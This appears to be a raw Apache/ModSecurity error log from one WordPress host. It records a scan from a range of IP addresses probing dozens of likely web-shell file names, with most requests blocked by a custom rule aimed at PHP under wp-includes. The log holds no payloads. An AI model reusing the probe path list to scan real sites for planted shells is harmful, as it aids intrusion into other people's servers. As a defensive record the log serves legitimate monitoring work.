[Sat Apr 18 20:57:38.569645 2026] [:error] [pid 9865:tid 9945] [client 45.133.5.228:47689] [client 45.133.5.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aeN_wqzb5knECIY-C-iJHAAAAIg"]
[Sat Apr 18 20:57:38.607961 2026] [:error] [pid 9970:tid 9994] [client 45.133.5.200:43503] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Sat Apr 18 20:57:38.667697 2026] [:error] [pid 9970:tid 9979] [client 45.133.5.200:43503] [client 45.133.5.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aeN_wiYdRLRhVmaIMx27YgAAAMU"]
[Sat Apr 18 20:57:38.722388 2026] [:error] [pid 9970:tid 9983] [client 45.133.5.225:57323] File does not exist: /usr/local/apache/htdocs/suspended-page/theme.php
[Sat Apr 18 20:57:38.783039 2026] [:error] [pid 9970:tid 9990] [client 45.133.5.225:57323] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Sat Apr 18 20:57:38.802327 2026] [:error] [pid 9970:tid 9991] [client 45.133.5.225:57323] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Sat Apr 18 20:57:38.836263 2026] [:error] [pid 9970:tid 9985] [client 45.133.5.225:57323] [client 45.133.5.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.225, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aeN_wiYdRLRhVmaIMx27agAAAMs"]
[Sat Apr 18 20:57:38.930433 2026] [:error] [pid 9970:tid 9978] [client 45.133.5.225:57323] [client 45.133.5.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aeN_wiYdRLRhVmaIMx27bwAAAMQ"]
[Sat Apr 18 20:57:38.967138 2026] [:error] [pid 32678:tid 32709] [client 45.133.5.168:44879] File does not exist: /usr/local/apache/htdocs/suspended-page/small.php
[Sat Apr 18 20:57:38.984223 2026] [:error] [pid 32678:tid 32718] [client 45.133.5.168:44879] [client 45.133.5.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aeN_whUlAXU_ZWUu5y_51gAAAos"]
[Sat Apr 18 20:57:40.421358 2026] [:error] [pid 9970:tid 9996] [client 45.133.5.195:25559] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Sat Apr 18 20:57:40.464929 2026] [:error] [pid 9970:tid 9981] [client 45.133.5.195:25559] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Sat Apr 18 20:57:40.509842 2026] [:error] [pid 9970:tid 9979] [client 45.133.5.195:25559] [client 45.133.5.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aeN_xCYdRLRhVmaIMx27dgAAAMU"]
[Sat Apr 18 20:57:40.569106 2026] [:error] [pid 9865:tid 9937] [client 45.133.5.207:27729] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Sat Apr 18 20:57:40.588454 2026] [:error] [pid 9865:tid 9955] [client 45.133.5.207:27729] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Sat Apr 18 20:57:40.604548 2026] [:error] [pid 9865:tid 9958] [client 45.133.5.207:27729] [client 45.133.5.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aeN_xKzb5knECIY-C-iJIQAAAJU"]
[Sat Apr 18 20:57:40.637351 2026] [:error] [pid 9865:tid 9944] [client 45.133.5.224:42913] [client 45.133.5.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aeN_xKzb5knECIY-C-iJIgAAAIc"]
[Sat Apr 18 20:57:40.674145 2026] [:error] [pid 9865:tid 9951] [client 45.133.5.216:62539] File does not exist: /usr/local/apache/htdocs/suspended-page/aks.php
[Sat Apr 18 20:57:40.693684 2026] [:error] [pid 9865:tid 9939] [client 45.133.5.216:62539] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Sat Apr 18 20:57:40.737364 2026] [:error] [pid 9865:tid 9947] [client 45.133.5.216:62539] [client 45.133.5.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aeN_xKzb5knECIY-C-iJJgAAAIo"]
[Sat Apr 18 20:57:40.784088 2026] [:error] [pid 13023:tid 13041] [client 45.133.5.181:55299] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Sat Apr 18 20:57:40.823608 2026] [:error] [pid 13023:tid 13030] [client 45.133.5.181:55299] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/iR7SzrsOUEP.php
[Sat Apr 18 20:57:40.840992 2026] [:error] [pid 13023:tid 13032] [client 45.133.5.181:55299] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aeN_xP1e7hG8DAeABB8RXAAAAQc"]
[Sat Apr 18 20:57:40.905555 2026] [:error] [pid 13023:tid 13045] [client 45.133.5.162:20025] [client 45.133.5.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/db.php"] [unique_id "aeN_xP1e7hG8DAeABB8RXgAAARQ"]
[Sat Apr 18 20:57:40.947927 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.190:59445] [client 45.133.5.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aeN_xP1e7hG8DAeABB8RXwAAAQI"]
[Sat Apr 18 20:57:40.986482 2026] [:error] [pid 13023:tid 13033] [client 45.133.5.216:35959] [client 45.133.5.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aeN_xP1e7hG8DAeABB8RYAAAAQg"]
[Sat Apr 18 20:57:41.023848 2026] [:error] [pid 13023:tid 13034] [client 45.133.5.212:36551] [client 45.133.5.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aeN_xf1e7hG8DAeABB8RYQAAAQk"]
[Sat Apr 18 20:57:41.061867 2026] [:error] [pid 13023:tid 13047] [client 45.133.5.221:38781] [client 45.133.5.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aeN_xf1e7hG8DAeABB8RYgAAARY"]
[Sat Apr 18 20:57:41.116463 2026] [:error] [pid 32677:tid 32694] [client 45.133.5.188:37315] [client 45.133.5.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aeN_xRngmUE3LdC-wP7dkwAAAk4"]
[Sat Apr 18 20:57:41.192522 2026] [:error] [pid 9864:tid 9919] [client 45.133.5.183:45659] [client 45.133.5.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aeN_xYCFeowknfXHM7kiAwAAAE0"]
[Sat Apr 18 20:57:41.227786 2026] [:error] [pid 32677:tid 32687] [client 45.133.5.220:22893] [client 45.133.5.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aeN_xRngmUE3LdC-wP7dlAAAAkc"]
[Sat Apr 18 20:57:41.263366 2026] [:error] [pid 13023:tid 13031] [client 45.133.5.164:60641] [client 45.133.5.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aeN_xf1e7hG8DAeABB8RYwAAAQY"]
[Sat Apr 18 20:57:41.302494 2026] [:error] [pid 13023:tid 13035] [client 45.133.5.200:35905] [client 45.133.5.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aeN_xf1e7hG8DAeABB8RZAAAAQo"]
[Sat Apr 18 20:57:41.340987 2026] [:error] [pid 9970:tid 9984] [client 45.133.5.164:20113] [client 45.133.5.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aeN_xSYdRLRhVmaIMx27dwAAAMo"]
[Sat Apr 18 20:57:41.377979 2026] [:error] [pid 9863:tid 9895] [client 45.133.5.220:34549] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-load.php
[Sat Apr 18 20:57:41.442650 2026] [:error] [pid 9863:tid 9884] [client 45.133.5.220:34549] [client 45.133.5.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.220, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aeN_xTjjiypiFrTucbLQgAAAAAs"]
[Sat Apr 18 20:57:41.543407 2026] [:error] [pid 9863:tid 9897] [client 45.133.5.220:34549] [client 45.133.5.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aeN_xTjjiypiFrTucbLQhQAAABg"]
[Sat Apr 18 20:57:41.623223 2026] [:error] [pid 13023:tid 13048] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Sat Apr 18 20:57:41.643834 2026] [:error] [pid 13023:tid 13043] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-fmfile.php
[Sat Apr 18 20:57:41.734515 2026] [:error] [pid 13023:tid 13030] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Sat Apr 18 20:57:41.755327 2026] [:error] [pid 13023:tid 13032] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/infos.php
[Sat Apr 18 20:57:41.849814 2026] [:error] [pid 13023:tid 13028] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Sat Apr 18 20:57:41.874470 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Sat Apr 18 20:57:41.896931 2026] [:error] [pid 13023:tid 13044] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/wsad.php
[Sat Apr 18 20:57:41.922276 2026] [:error] [pid 13023:tid 13033] [client 45.133.5.165:45815] File does not exist: /usr/local/apache/htdocs/suspended-page/nation.php
[Sat Apr 18 20:57:41.940271 2026] [:error] [pid 13023:tid 13038] [client 45.133.5.165:45815] [client 45.133.5.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aeN_xf1e7hG8DAeABB8RdQAAAQ0"]
[Sat Apr 18 20:57:41.979056 2026] [:error] [pid 32647:tid 32660] [client 45.133.5.179:39377] [client 45.133.5.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aeN_xUkxooM0iRo6e54k6AAAAgo"]
[Sat Apr 18 20:57:42.012649 2026] [:error] [pid 34290:tid 34323] [client 45.133.5.222:31165] [client 45.133.5.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aeN_xhqX6WpmmAXOBi8hxAAAAcQ"]
[Sat Apr 18 20:57:42.081762 2026] [:error] [pid 32677:tid 32696] [client 45.133.5.184:24449] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atomx.php
[Sat Apr 18 20:57:42.105418 2026] [:error] [pid 32677:tid 32680] [client 45.133.5.184:24449] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-footer.php
[Sat Apr 18 20:57:42.156082 2026] [:error] [pid 32677:tid 32699] [client 45.133.5.184:24449] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Sat Apr 18 20:57:42.192415 2026] [:error] [pid 32677:tid 32698] [client 45.133.5.184:24449] [client 45.133.5.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aeN_xhngmUE3LdC-wP7dnAAAAlI"]
[Sat Apr 18 20:57:42.228280 2026] [:error] [pid 32677:tid 32697] [client 45.133.5.193:28273] [client 45.133.5.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aeN_xhngmUE3LdC-wP7dnQAAAlE"]
[Sat Apr 18 20:57:42.269968 2026] [:error] [pid 9864:tid 9908] [client 45.133.5.203:64799] [client 45.133.5.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aeN_xoCFeowknfXHM7kiBAAAAEM"]
[Sat Apr 18 20:57:42.393718 2026] [:error] [pid 34290:tid 34324] [client 45.133.5.171:49325] [client 45.133.5.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aeN_xhqX6WpmmAXOBi8hyQAAAcU"]
[Sat Apr 18 20:57:42.463106 2026] [:error] [pid 32677:tid 32691] [client 45.133.5.175:64157] [client 45.133.5.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aeN_xhngmUE3LdC-wP7doAAAAks"]
[Sat Apr 18 20:57:42.547361 2026] [:error] [pid 34288:tid 34309] [client 45.133.5.214:29809] [client 45.133.5.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aeN_xuTIiy__PtiLmpnV1gAAAZE"]
[Sat Apr 18 20:57:42.827759 2026] [:error] [pid 34288:tid 34300] [client 45.133.5.175:32827] [client 45.133.5.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aeN_xuTIiy__PtiLmpnV4gAAAYg"]
[Sat Apr 18 20:57:42.862445 2026] [:error] [pid 32677:tid 32704] [client 45.133.5.208:52387] File does not exist: /usr/local/apache/htdocs/suspended-page/xex.php
[Sat Apr 18 20:57:42.878869 2026] [:error] [pid 32677:tid 32702] [client 45.133.5.208:52387] [client 45.133.5.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "aeN_xhngmUE3LdC-wP7dpAAAAlY"]
[Sat Apr 18 20:57:43.007660 2026] [:error] [pid 34290:tid 34343] [client 45.133.5.222:27011] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Sat Apr 18 20:57:43.076793 2026] [:error] [pid 34290:tid 34319] [client 45.133.5.222:27011] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Sat Apr 18 20:57:43.092553 2026] [:error] [pid 34290:tid 34336] [client 45.133.5.222:27011] [client 45.133.5.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aeN_xxqX6WpmmAXOBi8h0AAAAdE"]
[Sat Apr 18 20:57:43.166776 2026] [:error] [pid 32677:tid 32687] [client 45.133.5.207:30649] [client 45.133.5.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aeN_xxngmUE3LdC-wP7dpwAAAkc"]
[Sat Apr 18 20:57:43.291460 2026] [:error] [pid 32677:tid 32680] [client 45.133.5.167:36215] [client 45.133.5.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aeN_xxngmUE3LdC-wP7drAAAAkA"]
[Sat Apr 18 20:57:43.416669 2026] [:error] [pid 9863:tid 9874] [client 45.133.5.165:55535] [client 45.133.5.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aeN_xzjjiypiFrTucbLQigAAAAE"]
[Sat Apr 18 20:57:43.473101 2026] [:error] [pid 32677:tid 32688] [client 45.133.5.162:48457] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Sat Apr 18 20:57:43.491633 2026] [:error] [pid 32677:tid 32698] [client 45.133.5.162:48457] [client 45.133.5.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aeN_xxngmUE3LdC-wP7drwAAAlI"]
[Sat Apr 18 20:57:43.530769 2026] [:error] [pid 32678:tid 32711] [client 45.133.5.202:23573] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aeN_xxUlAXU_ZWUu5y_52AAAAoQ"]
[Sat Apr 18 20:57:45.196629 2026] [:error] [pid 13023:tid 13025] [client 45.133.5.177:64071] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aeN_yf1e7hG8DAeABB8RfAAAAQA"]
[Sat Apr 18 20:58:00.351939 2026] [autoindex:error] [pid 34288:tid 34307] [client 45.133.5.222:22807] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
